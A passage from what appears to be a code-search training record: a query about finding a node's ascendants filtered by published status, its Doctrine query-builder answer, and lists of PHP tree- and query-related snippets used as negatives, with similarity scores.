DmsNodePeer::doSelect($c);\r\n }", "function get_flat_tree( $root = 1 )\n\t {\n\t \t\n\t\t$node = $this->get_node( $root );\n\t\tif($node == false)\n\t\t\treturn false;\n\n\t\t$query = ee()->db->select('*')\n\t\t\t->from( $this->tree_table )\n\t\t\t->join('channel_titles', 'channel_titles.entry_id = '.$this->tree_table.'.entry_id', 'left')\n\t\t\t->where($this->tree_table.\".lft BETWEEN \".$node['lft'].\" AND \".$node['rgt'])\n\t\t\t->group_by($this->tree_table.\".node_id\")\n\t\t\t->order_by($this->tree_table.\".lft\", \"asc\")\n\t\t\t->get();\n\t\t\n\t\t$right = array();\n\t\t$result = array();\n\t\t$current =& $result;\n\t\t$stack = array();\n\t\t$stack[0] =& $result;\n\t\t$level = 0;\n\t\t$i = 0;\n\n\t\tforeach($query->result_array() as $row)\n\t\t{\n\n\t\t\t// go more shallow, if needed\n\t\t\tif(count($right))\n\t\t\t{\n\t\t\t\twhile($right[count($right)-1] < $row['rgt'])\n\t\t\t\t{\n\t\t\t\t\tarray_pop($right);\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Go one level deeper?\n\t\t\tif(count($right) > $level)\n\t\t\t{\n\t\t\t\tend($current);\n\t\t\t}\n\t\t\t// the stack contains all parents, current and maybe next level\n\t\t\t// $current =& $stack[count($right)];\n\t\t\t// add the data\n\t\t\t$current[] = $row;\n\t\t\t// go one level deeper with the index\n\t\t\t$level = count($right);\n\t\t\t$right[] = $row['rgt'];\n\n\t\t\t$current[$i]['level'] = $level;\n\t\t\t$current[$i]['childs'] = round(($row['rgt'] - $row['lft']) / 2, 0);\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\treturn $result;\n\t\t\n\t}", "public function getTree()\n {\n return($this->options['tree']);\n }", "public function getTree() : Tree\n {\n if (!$this->tree) {\n $this->tree = new Tree($this->mapper);\n }\n\n return $this->tree;\n }", "public function structure() {\n $list = $this->newQuery()->where('parent_id', 0)->orderBy('order_id', 'asc')->get();\n $list->transform(function (PageCategory $category) {\n $children = $category->newQuery()->where('parent_id', $category->getAttribute('id'))->orderBy('order_id', 'asc')->get();\n $children->transform(function (PageCategory $category) {\n $children = $category->newQuery()->where('parent_id', $category->getAttribute('id'))->orderBy('order_id', 'asc')->get();\n $category->setAttribute('children', $children);\n\n return $category;\n });\n $category->setAttribute('children', $children);\n\n return $category;\n });\n\n return $list->toArray();\n }", "public function getTree()\n {\n return $this->hasOne(Tree::className(), ['id' => 'tree_id']);\n }", "public function findAllWithParent() { \n return $this->createQueryBuilder('a')\n ->leftJoin('a.parent', 'p')\n ->getQuery()\n ->getResult();\n }", "public function getTree() {\n return $this->_buildBranch($this->root_category_id);\n }", "function generateallActiveTree(&$tree, $parentid = 0) {\n $this->db->select('id,name,shortdesc,status,parentid,page_uri,orderr');\n $this->db->where ('parentid',$parentid);\n $this->db->where ('status','active');\n $this->db->order_by('orderr asc, parentid asc');\n $res = $this->db->get('adminmenu');\n if ($res->num_rows() > 0) {\n foreach ($res->result_array() as $r) {\n\n // push found result onto existing tree\n $tree[$r['id']] = $r;\n // create placeholder for children\n $tree[$r['id']]['children'] = array();\n // find any children of currently found child\n $this->generateallActiveTree($tree[$r['id']]['children'],$r['id']);\n }\n }\n }", "public static function treeStructure($id = NULL) {\n \n //set root id\n if ($id == NULL)\n $id = Tree_node::find()->where(['name' => 'TOP'])->one()->id;\n \n $query = Tree_node::find()->where(['parent_id' => $id, 'hidden' => 0]);\n \n if (!$query->exists()) \n return [];\n \n \n $nodes = $query->all();\n \n $tree = [];\n \n foreach( $nodes as $node ) {\n $tree[] = [\n 'name' => $node->name,\n 'href' => $node->href,\n 'position' => $node->position,\n 'list' => Tree_node::treeStructure($node->id)\n ];\n }\n \n //sort\n \n $comparator = function($_a, $_b) {\n $a = $_a['position'];\n $b = $_b['position'];\n \n if ($a == $b) return 0;\n return ($a < $b) ? -1 : 1;\n };\n \n usort($tree,$comparator);\n \n return $tree;\n }", "public function getConfigTreeBuilder()\n\t {\n\t $treeBuilder = new TreeBuilder();\n\t $rootNode = $treeBuilder->root('data_tables');\n\n\t $rootNode\n\t ->children()\n\t ->arrayNode('entities')\n\t\t\t\t\t\t->prototype('array')\n\t\t ->children()\n\t\t\t\t\t\t\t\t->scalarNode('name')\n\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->arrayNode('columns')\n\t\t\t\t\t\t\t\t\t->prototype('scalar')\n\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t->end()\n ->defaultValue([])\n\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->arrayNode('search_columns')\n\t\t\t\t\t\t\t\t\t->prototype('scalar')\n\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->scalarNode('post_process')\n ->defaultValue('')\n\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->scalarNode('user_limit')\n\t\t\t\t\t\t\t\t\t->defaultValue(0)\n\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->arrayNode('associative_columns')\n\t\t\t\t\t\t\t\t\t->prototype('array')\n\t\t\t\t\t\t\t\t\t\t->children()\n\t\t\t\t\t\t\t\t\t\t\t->scalarNode('field')\n\t\t\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t\t->scalarNode('table')\n\t\t\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t\t->scalarNode('target_field')\n\t\t\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t\t->arrayNode('target_fields')\n\t\t\t\t\t\t\t\t\t\t\t\t->prototype('scalar')\n\t\t\t\t\t\t\t\t\t\t\t\t\t->cannotBeEmpty()\n\t\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t\t->scalarNode('join_type')\n\t\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t\t->end()\n\t\t\t\t\t\t\t\t->end()\n\t\t ->end()\n\t\t\t\t\t\t->end()\n\t ->end()\n\t ->end();\n\n\t return $treeBuilder;\n\t }", "public function fulltree($scope = NULL)\n {\n $object_id = \"fulltree_$scope\";\n if (! in_array($object_id, $this->_objects))\n {\n $sql = \"SELECT * FROM $this->_table_name\n \";\n\n if ( ! is_null($scope))\n {\n $sql .= \"AND $this->scope_column = $scope\n ORDER BY \". $this->_sorting[0] .\" \". $this->_sorting[1] .\"\n \";\n }\n else\n {\n $sql .= \"ORDER BY\n $this->scope_column ASC,\n $this->left_column ASC\n \";\n }\n\n $result = $this->_db->query($sql);\n $this->_objects[$object_id] = $this->factory_set($result);\n }\n\n return $this->_objects[$object_id];\n }", "public function roots()\n\t{\n\t\t$owner=$this->getOwner();\n\t\t$db=$owner->getDbConnection();\n\t\t$owner->getDbCriteria()->addCondition($db->quoteColumnName($owner->getTableAlias()).'.'.$db->quoteColumnName($this->leftAttribute).'=1');\n\n\t\treturn $owner;\n\t}", "public function getDescendants(array $columns = ['*']);", "public static function getAllMenu()\n {\n $rows = Yii::$app->cache->get(\"BackendMenu:all\");\n if (false === is_array($rows)) {\n $rows = static::find()\n ->orderBy('parent_id ASC, sort ASC')\n ->asArray()\n ->all();\n Yii::$app->cache->set(\n \"BackendMenu:all\",\n $rows,\n 86400,\n new TagDependency([\n 'tags' => [\n ActiveRecordHelper::getCommonTag(static::className()),\n ],\n ])\n );\n }\n // rebuild rows to tree $all_menu_items\n $all_menu_items = Tree::rowsArrayToMenuTree($rows, 0, 0, false);\n\n return $all_menu_items;\n }", "public function treeAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n /** @var CategoryRepository $repo */\n $repo = $em->getRepository('SowpBudgetBundle:Category');\n $categories = $repo->childrenHierarchy();\n\n return $this->render('SowpBudgetBundle:CategoryAdmin:tree.html.twig', array(\n 'categories' => $categories,\n ));\n }", "public function qbAll()\n {\n return $this->createQueryBuilder(\"s\");\n }", "function findNodesJSON(){\n\t\t$qb = $this->createQueryBuilder('n');\n\t\t$qb->select('n.id')\n\t\t->addSelect('n.name');\n\t\t$nodes = $qb->getQuery()->getResult();\n\t\t$nodes_json = json_encode($nodes);\n\t\treturn $nodes_json;\n\t}", "public function generateTreeHtml()\n {\n $htmlWriter = new Writer();\n\n return $htmlWriter->render( $this->mapRedisSchema(), $this->getNamespaceSeparator() );\n }", "public function getAllQuery()\n {\n $queryBuilder = $this->_em->createQueryBuilder();\n $query = $queryBuilder->select('Teacher')->from('AppBundle\\Entity\\Teacher', 'Teacher');\n\n $query->orderBy('Teacher.id', 'DESC');\n\n return $query;\n }", "public function all_parent_units()\n\t{\n\t\t$this->db->where('units_status = 1 AND units_parent = 0');\n\t\t$this->db->order_by('units_name', 'ASC');\n\t\t$query = $this->db->get('units');\n\t\t\n\t\treturn $query;\n\t}", "function where_top_level()\n\t{\n\t\treturn $this\n\t\t\t->and_where_open()\n\t\t\t\t->where('parent_id', '=', 0)\n\t\t\t\t->or_where('parent_id', 'is', NULL)\n\t\t\t->and_where_close();\n\t}", "public function run()\n {\n DB::table('statuses')->insert([\n [\n 'id' \t\t => '1',\n 'parent_id' \t=> null,\n 'lft' => '1',\n 'rgt' => '6',\n 'depth' => '0',\n 'name' => 'Activation',\n 'desc' => 'Activation',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ],\n [\n 'id' \t\t => '2',\n 'parent_id' \t=> 1,\n 'lft' => '2',\n 'rgt' => '3',\n 'depth' => '1',\n 'name' => 'Inactive',\n 'desc' => 'Inactive',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ],\n [\n 'id' \t\t => '3',\n 'parent_id' \t=> 1,\n 'lft' => '4',\n 'rgt' => '5',\n 'depth' => '1',\n 'name' => 'Active',\n 'desc' => 'Active',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ]\n , [\n 'id' \t\t => '9',\n 'parent_id' \t=> null,\n 'lft' => '7',\n 'rgt' => '14',\n 'depth' => '0',\n 'name' => 'Condition',\n 'desc' => 'Condition',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ],\n [\n 'id' \t\t => '10',\n 'parent_id' \t=> '9',\n 'lft' => '8',\n 'rgt' => '9',\n 'depth' => '1',\n 'name' => 'Good',\n 'desc' => '',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ],\n [\n 'id' \t\t => '11',\n 'parent_id' \t=> '9',\n 'lft' => '10',\n 'rgt' => '11',\n 'depth' => '1',\n 'name' => 'Broken',\n 'desc' => '',\n 'status' => '3',\n 'created_by' \t\t=> '1',\n 'updated_by' \t\t=> '1',\n 'created_at' \t\t=> '2017-07-13 05:53:22',\n 'updated_at' \t\t=> '2017-07-13 05:53:22',\n ]\n \n\n ]);\n }", "protected function getTree()\n {\n $tree = [];\n // copy of '$this->data'.\n $data = $this->data;\n// return Helper::debug($data);\n// die();\n\n foreach($data as $id => &$node) {\n if( $node['parent'] == 0 ) {\n $tree[$id] = &$node;\n } else {\n $data[$node['parent']]['childs'][$id] = &$node;\n }\n }\n return $tree;\n }", "function &sql_fetch_children( $inQueryString, $rootNode, $idField = \"id\", $parentField = \"parent\") {\n\tsql_connect();\n\tglobal $defaultdb;\n\t$return = $defaultdb->fetch_children($inQueryString,$rootNode,$idField,$parentField);\n\treturn $return;\n}", "public function getChildrenQuery()\n {\n return null;\n }", "public function build() {\n\t\t$this->validate_input();\n\n\t\t$tree = $this->sql_tree;\n\n\t\t$pagination_info = $this->make_pagination_info();\n\n\t\tif (!$this->ignore_filtering) {\n\t\t\t$tree = $this->filter_transform->alter($tree, $pagination_info);\n\t\t}\n\t\t$tree = $this->sort_transform->alter($tree, $pagination_info);\n\t\tif (!$this->ignore_pagination) {\n\t\t\tif ($pagination_info instanceof PaginationInfoWithCount) {\n\t\t\t\t$num_rows = $pagination_info->get_row_count();\n\t\t\t}\n\t\t\telseif ($this->settings === null || $this->settings->get_total_rows() === null) {\n\t\t\t\tthrow new Exception(\"SQLBuilder->settings must contain the number of rows in order to paginate properly\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$num_rows = $this->settings->get_total_rows();\n\t\t\t}\n\n\t\t\t$pagination_info_with_count = new PaginationInfoWithCount($pagination_info, $num_rows);\n\t\t\t$tree = $this->pagination_transform->alter($tree, $pagination_info_with_count);\n\t\t}\n\n\t\t$creator = new PHPSQLCreator();\n\t\treturn $creator->create($tree);\n\t}", "public function getAllGeonodes() {\n\t\t$qb = $this->createQueryBuilder('n');\n\t\t$qb->innerJoin(\"n.relations\",\"rel\",Join::WITH,\n\t\t\t$qb->expr()->eq(\"n.id\",\"rel.startNode\")\n\t\t);\n\t\t$qb->where(\"rel.geometryvalue IS NOT NULL\");\n\t\treturn $qb->getQuery()->getResult();\n\t}", "function FullTree();", "public function getChildren(array $columns = ['*']);", "public function query()\n {\n return new \\Rubberband\\Elastic\\Laravel\\Query\\Builder($this);\n }", "abstract public function tree_encoder();", "protected function getListQuery() {\n // Create a new query object.\n $db = $this->getDbo();\n $query = $db->getQuery(true);\n\n // Select the required fields from the table.\n $query->select(\n $this->getState(\n 'list.select', 'DISTINCT a.*'\n )\n );\n $query->from('`#__pedigree_dogs` AS a');\n\n \n\t\t// Join over the users for the checked out user\n\t\t$query->select(\"uc.name AS editor\");\n\t\t$query->join(\"LEFT\", \"#__users AS uc ON uc.id=a.checked_out\");\n\t\t// Join over the foreign key 'id_sire'\n\t\t$query->select('#__pedigree_dogs_1067710.name AS dogs_name_1067710');\n\t\t$query->join('LEFT', '#__pedigree_dogs AS #__pedigree_dogs_1067710 ON #__pedigree_dogs_1067710.id = a.id_sire');\n\t\t// Join over the foreign key 'id_dam'\n\t\t$query->select('#__pedigree_dogs_1067711.name AS dogs_name_1067711');\n\t\t$query->join('LEFT', '#__pedigree_dogs AS #__pedigree_dogs_1067711 ON #__pedigree_dogs_1067711.id = a.id_dam');\n\t\t// Join over the foreign key 'id_color'\n\t\t$query->select('#__pedigree_colors_1067722.color AS colors_color_1067722');\n\t\t$query->join('LEFT', '#__pedigree_colors AS #__pedigree_colors_1067722 ON #__pedigree_colors_1067722.id = a.id_color');\n\t\t// Join over the foreign key 'id_pattern'\n\t\t$query->select('#__pedigree_patterns_1067724.pattern AS patterns_pattern_1067724');\n\t\t$query->join('LEFT', '#__pedigree_patterns AS #__pedigree_patterns_1067724 ON #__pedigree_patterns_1067724.id = a.id_pattern');\n\t\t// Join over the user field 'created_by'\n\t\t$query->select('created_by.name AS created_by');\n\t\t$query->join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');\n\n \n\n\t\t// Filter by published state\n\t\t$published = $this->getState('filter.state');\n\t\tif (is_numeric($published)) {\n\t\t\t$query->where('a.state = ' . (int) $published);\n\t\t} else if ($published === '') {\n\t\t\t$query->where('(a.state IN (0, 1))');\n\t\t}\n\n // Filter by search in title\n $search = $this->getState('filter.search');\n if (!empty($search)) {\n if (stripos($search, 'id:') === 0) {\n $query->where('a.id = ' . (int) substr($search, 3));\n } else {\n $search = $db->Quote('%' . $db->escape($search, true) . '%');\n $query->where('( a.name LIKE '.$search.' OR a.id_sire LIKE '.$search.' OR a.id_dam LIKE '.$search.' OR a.birth_date LIKE '.$search.' OR a.titles_prefix LIKE '.$search.' OR a.titles_suffix LIKE '.$search.' )');\n }\n }\n\n \n\n\t\t//Filtering sex\n\t\t$filter_sex = $this->state->get(\"filter.sex\");\n\t\tif ($filter_sex) {\n\t\t\t$query->where(\"a.sex = '\".$db->escape($filter_sex).\"'\");\n\t\t}\n\n\t\t//Filtering id_color\n\t\t$filter_id_color = $this->state->get(\"filter.id_color\");\n\t\tif ($filter_id_color) {\n\t\t\t$query->where(\"a.id_color = '\".$db->escape($filter_id_color).\"'\");\n\t\t}\n\n\t\t//Filtering id_pattern\n\t\t$filter_id_pattern = $this->state->get(\"filter.id_pattern\");\n\t\tif ($filter_id_pattern) {\n\t\t\t$query->where(\"a.id_pattern = '\".$db->escape($filter_id_pattern).\"'\");\n\t\t}\n\n\n // Add the list ordering clause.\n $orderCol = $this->state->get('list.ordering');\n $orderDirn = $this->state->get('list.direction');\n if ($orderCol && $orderDirn) {\n $query->order($db->escape($orderCol . ' ' . $orderDirn));\n }\n\n return $query;\n }", "public function getTagsQuery() : QueryBuilder\n {\n $query = $this->connection->createQueryBuilder();\n $query->select([\n \"category_tag.category_id\",\n \"category_tag.category_version_id\",\n \"GROUP_CONCAT(tag.name SEPARATOR ',') as tags\"\n ])\n ->from('category_tag')\n ->leftJoin('category_tag', 'tag', 'tag', 'category_tag.tag_id = tag.id')\n ->groupBy([\"category_tag.category_id\", \"category_tag.category_version_id\"]);\n\n return $query;\n }", "public function toBase() : QueryBuilder\n {\n return $this->applyScopes()->getQuery();\n }", "public function getAllCatparentsAdminQB()\n {\n $qb = $this->getEntityManager()\n ->createQueryBuilder()\n ->select('c')\n ->from('ShopBundle:Catparent', 'cp');\n\n return $qb;\n }", "public function getConfigTreeBuilder()\n {\n $treeBuilder = new TreeBuilder();\n $rootNode = $treeBuilder->root('resque');\n\n return $treeBuilder;\n }", "private function buildTree ( &$tree, $parentId = null ) {\r\n\t\tif ( !isset ( $parentId ) ) $parentId = 0;\r\n\t\t$param = array(\r\n\t\t\t'conditions' => array('parent_id' => $parentId),\r\n\t\t\t'fields' => array('id','lorder','rorder','CategoryDetail.name'),\r\n\t\t\t'order' => array('CategoryDetail.name')\r\n\t\t );\r\n\t\t$arrRes = $this->Category->find('all', $param);\r\n $tree .= \"<ul>\";\r\n foreach ( $arrRes as $node ) {\r\n \t$tree .= \"<li><a id='\".$node['Category']['id'].\"' ctrl='categories'>\".\r\n \t\t $node['CategoryDetail']['name'].\"</a>\";\r\n if ( $node['Category']['rorder'] - $node['Category']['lorder'] == 1 ) $tree .= \"</li>\";\r\n else {\r\n $this->buildTree ( $tree, $node['Category']['id'] );\r\n $tree .= \"</li>\";\r\n }\r\n\t /*if ( $node['Category']['rorder'] - $node['Category']['lorder'] > 1 ) {\r\n\t \t\t$tree .= \"<li><a id='\".$node['Category']['id'].\"' ctrl='categories'>\".\r\n \t\t $node['CategoryDetail']['name'].\"</a>\";\r\n\t\t\t\r\n\t\t\t $this->buildTree ( $tree, $node['Category']['id'] );\r\n\t $tree .= \"</li>\";\r\n\t }*/\r\n }\r\n $tree .= \"</ul>\";\r\n\t}", "public function build()\n {\n $query = $this->qb;\n if ($this->getWhereExpression()) {\n $query->where($this->getWhereExpression());\n }\n foreach ($this->getWhereParameters() as $key => $param) {\n $query->setParameter($key, $param, is_array($param) ? Connection::PARAM_STR_ARRAY : null);\n }\n\n return $query;\n }", "public function query()\n {\n return new QueryBuilder(\n $this, $this->getQueryGrammar(), $this->getPostProcessor()\n );\n }" ]
[ "0.6490567", "0.6306455", "0.62454224", "0.59238976", "0.5892231", "0.58225065", "0.5818849", "0.57435685", "0.5618105", "0.55940264", "0.55886483", "0.55865026", "0.5550731", "0.5530019", "0.5510987", "0.5493688", "0.54929763", "0.5484383", "0.54810077", "0.5479525", "0.5448418", "0.54390806", "0.54385126", "0.54243594", "0.54158586", "0.5385204", "0.5382851", "0.5366873", "0.53592753", "0.53579015", "0.53572017", "0.53197145", "0.53011084", "0.527611", "0.52708733", "0.52699405", "0.52299625", "0.5214192", "0.5213143", "0.52007025", "0.52001", "0.5198575", "0.5193957", "0.5168178", "0.51574457", "0.515573", "0.5150215", "0.51496404", "0.5140752", "0.5140576", "0.5133146", "0.5122224", "0.51185775", "0.51181036", "0.50983", "0.508474", "0.507953", "0.5078792", "0.50781846", "0.5076412", "0.5070166", "0.50683963", "0.5061623", "0.505235", "0.50500923", "0.5041329", "0.50271076", "0.5024149", "0.5020932", "0.50147694", "0.50080496", "0.4990178", "0.49672166", "0.49581438", "0.49578437", "0.49560124", "0.49508482", "0.49504003", "0.49480098", "0.49350542", "0.49337488", "0.49282283", "0.49056712", "0.49039474", "0.48998857", "0.489892", "0.48931172", "0.48881614", "0.48863903", "0.4881566", "0.48793393", "0.4874262", "0.48733968", "0.4872966", "0.48714074", "0.486189", "0.4860593", "0.48553234", "0.4855304", "0.48534882" ]
0.74920726
0
Returns ascendants of a given node filtered by published status.
public function findNodeAscendantsFilteredByPublished(NodeInterface $node, $published) { $qb = $this->getNodeAscendantsQueryBuilder($node); $qb->andWhere('c.published = :pub') ->setParameter('pub', $published); return $qb->getQuery()->getResult(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function findNodePublishedDescendantsFilteredByDepth(NodeInterface $node, $depth = 1)\n {\n $qb = $this->getNodeDescendantsQueryBuilder($node);\n $qb->andWhere('c.published = true')\n ->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d')\n ->setParameter('d', $depth);\n\n return $qb->getQuery()->getResult();\n }", "public function getAllPublished()\n {\n $result = $this->getManyBy('status', 'publish');\n\n return $result;\n }", "public function getDescendants();", "public function getAllPublished();", "public function countUnpublishedNodes() {\n // Count migrated, unpublished nodes.\n $map_table = $this->map->getMapTable();\n $query = db_query(\"SELECT COUNT(n.nid) FROM {node} n RIGHT JOIN {$map_table} m ON m.destid1 = n.nid WHERE n.status = 0\");\n\n return $query->fetchField();\n }", "public static function published()\n {\n return self::where('published', '=', true)->orderBy('published_at', 'DESC')->get();\n }", "public static function published()\n {\n // return self::where('published',1)->get();\n return self::where('published',true);\n }", "function getFilteredChilds($a_filter,$a_node,$a_order = \"\",$a_direction = \"ASC\")\n\t{\n\t\t$childs = $this->getChilds($a_node,$a_order,$a_direction);\n\n\t\tforeach($childs as $child)\n\t\t{\n\t\t\tif(!in_array($child[\"type\"],$a_filter))\n\t\t\t{\n\t\t\t\t$filtered[] = $child;\n\t\t\t}\n\t\t}\n\t\treturn $filtered ? $filtered : array();\n\t}", "public function getDescendants(NodeInterface $node)\r\n {\r\n $params = compact('node');\r\n $event = $this->getEventManager()->trigger(__FUNCTION__.'.pre', $this, $params);\r\n if ($event->stopped()) {\r\n return $event->last();\r\n }\r\n\r\n $result = $this->mapper->getDescendants($node);\r\n\r\n $params['__RESULT__'] = $result;\r\n $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, $params);\r\n\r\n return $result;\r\n }", "function getPublished()\n {\n return $this->published()->orderBy('sort')->get();\n }", "public function getDescendants(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n $descendants = array();\n\n if (!$node->isLeaf())\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $descendants = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n }\n\n /*\n * Set node levels to prevent further queries to database\n */\n $prev = array($node->getRightValue());\n $i = 0;\n if (count($descendants))\n {\n $initial_level = $descendants[0]->getLevel() - 1;\n }\n\n foreach ($descendants as $cur)\n {\n // get back to the parent\n while ($cur->getRightValue() > $prev[$i])\n {\n $i--;\n }\n\n $cur->setLevel(++$i + $initial_level);\n $prev[$i] = $cur->getRightValue();\n }\n\n return $descendants;\n }", "public function getChilds($unpublished = false) {\n\n if ($this->childs === null) {\n $list = new Document\\Listing();\n $list->setUnpublished($unpublished);\n $list->setCondition(\"parentId = ?\", $this->getId());\n $list->setOrderKey(\"index\");\n $list->setOrder(\"asc\");\n $this->childs = $list->load();\n }\n return $this->childs;\n }", "public function getAllPublishedPosts() \n\t{\n $q = \"SELECT * FROM in_posts WHERE publish_flag = 1 ORDER BY publish_time DESC\";\n $ps = $this->execute($q);\n $result = $this->getDataRowsAsObjects($ps, 'Post');\n return $result;\n }", "function &get_pages_with_status($args = '') {\n\tglobal $wpdb;\n\n\t$defaults = array(\n\t\t'child_of' => 0, 'sort_order' => 'ASC',\n\t\t'sort_column' => 'post_title', 'hierarchical' => 1,\n\t\t'exclude' => '', 'include' => '',\n\t\t'meta_key' => '', 'meta_value' => '',\n\t\t'authors' => '', 'parent' => -1, 'exclude_tree' => '',\n\t\t'number' => '', 'offset' => 0, 'status' => 'publish'\n\t);\n\n\t$r = wp_parse_args( $args, $defaults );\n\textract( $r, EXTR_SKIP );\n\t$number = (int) $number;\n\t$offset = (int) $offset;\n\n\tif ($status == 'all' || $status == 'All' || $status == 'ALL') $statusquery = '';\n\telse $statusquery = $wpdb->prepare(\" AND post_status = '\". $status .\"'\");\n\n\n\t$cache = array();\n\t$key = md5( serialize( compact(array_keys($defaults)) ) );\n\tif ( $cache = wp_cache_get( 'get_pages', 'posts' ) ) {\n\t\tif ( is_array($cache) && isset( $cache[ $key ] ) ) {\n\t\t\t$pages = apply_filters('get_pages', $cache[ $key ], $r );\n\t\t\treturn $pages;\n\t\t}\n\t}\n\n\tif ( !is_array($cache) )\n\t\t$cache = array();\n\n\t$inclusions = '';\n\tif ( !empty($include) ) {\n\t\t$child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include\n\t\t$parent = -1;\n\t\t$exclude = '';\n\t\t$meta_key = '';\n\t\t$meta_value = '';\n\t\t$hierarchical = false;\n\t\t$incpages = preg_split('/[\\s,]+/',$include);\n\t\tif ( count($incpages) ) {\n\t\t\tforeach ( $incpages as $incpage ) {\n\t\t\t\tif (empty($inclusions))\n\t\t\t\t\t$inclusions = $wpdb->prepare(' AND ( ID = %d ', $incpage);\n\t\t\t\telse\n\t\t\t\t\t$inclusions .= $wpdb->prepare(' OR ID = %d ', $incpage);\n\t\t\t}\n\t\t}\n\t}\n\tif (!empty($inclusions))\n\t\t$inclusions .= ')';\n\n\t$exclusions = '';\n\tif ( !empty($exclude) ) {\n\t\t$expages = preg_split('/[\\s,]+/',$exclude);\n\t\tif ( count($expages) ) {\n\t\t\tforeach ( $expages as $expage ) {\n\t\t\t\tif (empty($exclusions))\n\t\t\t\t\t$exclusions = $wpdb->prepare(' AND ( ID <> %d ', $expage);\n\t\t\t\telse\n\t\t\t\t\t$exclusions .= $wpdb->prepare(' AND ID <> %d ', $expage);\n\t\t\t}\n\t\t}\n\t}\n\tif (!empty($exclusions))\n\t\t$exclusions .= ')';\n\n\t$author_query = '';\n\tif (!empty($authors)) {\n\t\t$post_authors = preg_split('/[\\s,]+/',$authors);\n\n\t\tif ( count($post_authors) ) {\n\t\t\tforeach ( $post_authors as $post_author ) {\n\t\t\t\t//Do we have an author id or an author login?\n\t\t\t\tif ( 0 == intval($post_author) ) {\n\t\t\t\t\t$post_author = get_userdatabylogin($post_author);\n\t\t\t\t\tif ( empty($post_author) )\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\tif ( empty($post_author->ID) )\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t$post_author = $post_author->ID;\n\t\t\t\t}\n\n\t\t\t\tif ( '' == $author_query )\n\t\t\t\t\t$author_query = $wpdb->prepare(' post_author = %d ', $post_author);\n\t\t\t\telse\n\t\t\t\t\t$author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author);\n\t\t\t}\n\t\t\tif ( '' != $author_query )\n\t\t\t\t$author_query = \" AND ($author_query)\";\n\t\t}\n\t}\n\n\t$join = '';\n\t$where = \"$exclusions $inclusions \";\n\tif ( ! empty( $meta_key ) || ! empty( $meta_value ) ) {\n\t\t$join = \" LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )\";\n\n\t\t// meta_key and meta_value might be slashed\n\t\t$meta_key = stripslashes($meta_key);\n\t\t$meta_value = stripslashes($meta_value);\n\t\tif ( ! empty( $meta_key ) )\n\t\t\t$where .= $wpdb->prepare(\" AND $wpdb->postmeta.meta_key = %s\", $meta_key);\n\t\tif ( ! empty( $meta_value ) )\n\t\t\t$where .= $wpdb->prepare(\" AND $wpdb->postmeta.meta_value = %s\", $meta_value);\n\n\t}\n\n\tif ( $parent >= 0 )\n\t\t$where .= $wpdb->prepare(' AND post_parent = %d ', $parent);\n\n\t$query = \"SELECT * FROM $wpdb->posts $join WHERE (post_type = 'page'$statusquery) $where \";\n\t$query .= $author_query;\n\t$query .= \" ORDER BY \" . $sort_column . \" \" . $sort_order ;\n\n\tif ( !empty($number) )\n\t\t$query .= ' LIMIT ' . 